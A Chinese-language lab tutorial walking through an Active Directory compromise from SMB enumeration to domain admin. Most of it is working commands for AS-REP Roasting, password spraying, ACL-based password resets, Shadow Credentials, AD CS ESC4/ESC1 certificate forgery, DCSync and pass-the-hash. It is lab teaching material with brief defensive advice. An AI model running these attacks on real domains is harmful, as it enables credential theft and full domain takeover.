Active Directory 渗透测试实战教学：从信息收集到域控提权<\/h1>

实验环境概述<\/h2>
目标域：sec.org<\/li>
域控制器：AD (192.168.111.10)<\/li>
操作系统：Windows Server 2016 Standard 14393<\/li>
核心漏洞链：AS-REP Roasting → ACL滥用 → AD CS证书攻击（ESC4+ESC1）<\/li> <\/ul>
第一阶段：信息收集<\/h2>

1.1 端口扫描与服务识别<\/h3>
使用fscanplus进行全端口扫描：<\/p>
fscanPlus_amd64.exe -h 192.168.111.10 -p 1-65535
<\/span><\/span><\/code><\/pre>关键发现：<\/p>

开放端口：80(HTTP), 389(LDAP), 445(SMB), 88(Kerberos), 53(DNS)等<\/li>
确认目标为域控制器（DC）：ad.sec.org<\/li>
<\/ul>
1.2 SMB共享枚举<\/h3>
匿名访问发现多个功能共享：<\/p>
smbclient -N -L \/\/192.168.111.10
<\/span><\/span><\/code><\/pre>共享列表：<\/p>

CEO：CEO组专属访问<\/li>
Dev：开发组代码仓库<\/li>
HR：人力资源数据<\/li>
IT：运维仓库<\/li>
New：新员工指引（可匿名访问）<\/li>
<\/ul>
1.3 信息泄露利用<\/h3>
访问New共享获取初始凭据：<\/p>
smbclient -N \/\/192.168.111.10\/New -c "get 账户指引.txt"<\/span>
<\/span><\/span>iconv -f GBK -t UTF-8 账户指引.txt
<\/span><\/span><\/code><\/pre>获得：newmht\/New@1234<\/p>
第二阶段：用户枚举与权限提升<\/h2>
2.1 RID循环枚举<\/h3>
使用Guest账户枚举域用户：<\/p>
nxc smb 192.168.111.10 -u 'Guest'<\/span> -p ''<\/span> --rid-brute
<\/span><\/span><\/code><\/pre>发现关键用户：lily, Moly, Cook, Jim, John, Jock, mht(CEO)<\/p>
2.2 AS-REP Roasting攻击<\/h3>
发现lily用户禁用Kerberos预认证：<\/p>
impacket-GetNPUsers -dc-ip 192.168.111.10 'sec.org\/newmht:New@1234'<\/span> -request
<\/span><\/span><\/code><\/pre>使用hashcat破解：<\/p>
hashcat -m 18200<\/span> lily_hash.txt \/usr\/share\/wordlists\/rockyou.txt --force
<\/span><\/span><\/code><\/pre>获得密码：mahalkita<\/p>
2.3 权限关系分析<\/h3>
通过bloodyAD分析ACL关系：<\/p>
bloodyAD -u lily -p 'mahalkita'<\/span> -d sec.org --host 192.168.111.10 get writable --detail
<\/span><\/span><\/code><\/pre>攻击链分析：<\/p>
lily → Moly(HR主管) → Dev组 → Cook(开发主管) → Jock(IT主管) → mht(CEO) → 证书模板
<\/code><\/pre>
2.4 横向移动<\/h3>
密码喷洒发现Moly使用相同密码：<\/p>
nxc smb 192.168.111.10 -u user.txt -p 'mahalkita'<\/span> --continue-on-success
<\/span><\/span><\/code><\/pre>Moly添加自己到Dev组：<\/p>
bloodyAD -u Moly -p 'mahalkita'<\/span> -d sec.org --host 192.168.111.10 add groupMember 'CN=Dev,DC=sec,DC=org'<\/span> 'Moly'<\/span>
<\/span><\/span><\/code><\/pre>第三阶段：Shadow Credentials攻击<\/h2>
3.1 时间同步<\/h3>
AD CS攻击需要时间同步：<\/p>
python3 get_dc_time.py 192.168.111.10
<\/span><\/span><\/code><\/pre>3.2 证书滥用攻击<\/h3>
对Cook用户实施Shadow Credentials：<\/p>
faketime "2026-01-09 01:02:33"<\/span> certipy-ad shadow auto -u Moly@sec.org -p 'mahalkita'<\/span> -dc-ip 192.168.111.10 -account Cook
<\/span><\/span><\/code><\/pre>获得Cook的NTLM Hash：8ac71e8fdb3f7468c3b0d80611dee7e4<\/p>
3.3 权限传递<\/h3>
Cook修改Jock密码：<\/p>
bloodyAD -u Cook -p ':8ac71e8fdb3f7468c3b0d80611dee7e4'<\/span> -d sec.org --host 192.168.111.10 set password 'Jock'<\/span> 'Hacked@123'<\/span>
<\/span><\/span><\/code><\/pre>Jock修改mht(CEO)密码：<\/p>
bloodyAD -u Jock -p 'Hacked@123'<\/span> -d sec.org --host 192.168.111.10 set password 'mht'<\/span> 'CEO@Hacked123'<\/span>
<\/span><\/span><\/code><\/pre>第四阶段：AD CS证书攻击<\/h2>
4.1 漏洞发现<\/h3>
mht用户属于Cert组，对User证书模板有Write权限：<\/p>
certipy find -u mht@sec.org -p 'CEO@Hacked123'<\/span> -dc-ip 192.168.111.10 -vulnerable -stdout
<\/span><\/span><\/code><\/pre>发现ESC4漏洞：Cert组对User模板有WriteOwner和WriteDacl权限<\/p>
4.2 ESC4漏洞利用<\/h3>
修改User模板配置启用ESC1：<\/p>
certipy-ad template -u 'mht@sec.org'<\/span> -p 'CEO@Hacked123'<\/span> -dc-ip 192.168.111.10 -template 'User'<\/span> -write-default-configuration
<\/span><\/span><\/code><\/pre>关键修改：<\/p>

启用Enrollee Supplies Subject<\/li>
设置Client Authentication<\/li>
配置允许所有认证用户注册<\/li>
<\/ul>
4.3 ESC1漏洞利用<\/h3>
伪造Administrator证书：<\/p>
certipy-ad req -u mht@sec.org -p 'CEO@Hacked123'<\/span> -dc-ip 192.168.111.10 -ca 'sec-AD-CA'<\/span> -template 'User'<\/span> -upn 'administrator@sec.org'<\/span> -target 192.168.111.10
<\/span><\/span><\/code><\/pre>4.4 域管理员权限获取<\/h3>
使用证书获取Administrator哈希：<\/p>
faketime "2026-01-09 01:09:30"<\/span> certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.111.10
<\/span><\/span><\/code><\/pre>获得Administrator NTLM Hash：6f4009ffe6f419f6ebef8c5c4495f26f<\/p>
第五阶段：后渗透与权限维持<\/h2>
5.1 DCSync攻击<\/h3>
获得域管理员权限后，可执行DCSync获取所有用户哈希：<\/p>
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:6f4009ffe6f419f6ebef8c5c4495f26f administrator@192.168.111.10
<\/span><\/span><\/code><\/pre>5.2 传递哈希攻击(PTH)<\/h3>
使用获得的哈希进行横向移动：<\/p>
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:6f4009ffe6f419f6ebef8c5c4495f26f administrator@192.168.111.10
<\/span><\/span><\/code><\/pre>关键技术点总结<\/h2>
6.1 攻击链核心环节<\/h3>

信息泄露<\/strong>：通过匿名共享获取初始凭据<\/li>
权限提升<\/strong>：AS-REP Roasting → ACL滥用 → 证书模板控制<\/li>
权限维持<\/strong>：AD CS证书攻击获得持久性访问<\/li>
<\/ol>
6.2 防御建议<\/h3>

禁用不必要的SMB匿名访问<\/li>
启用所有用户的Kerberos预认证<\/li>
严格管理AD CS证书模板权限<\/li>
定期审计域内ACL关系<\/li>
监控证书注册异常行为<\/li>
<\/ol>
6.3 工具使用要点<\/h3>

时间同步<\/strong>：AD CS攻击需要与DC时间同步<\/li>
权限分析<\/strong>：bloodyAD用于ACL关系分析<\/li>
证书操作<\/strong>：certipy用于AD CS漏洞利用<\/li>
哈希破解<\/strong>：hashcat用于密码恢复<\/li>
<\/ul>
本教学完整演示了从外部信息收集到获得域管理员权限的全过程，重点展示了AD CS证书攻击在现代域环境渗透中的关键作用。<\/p>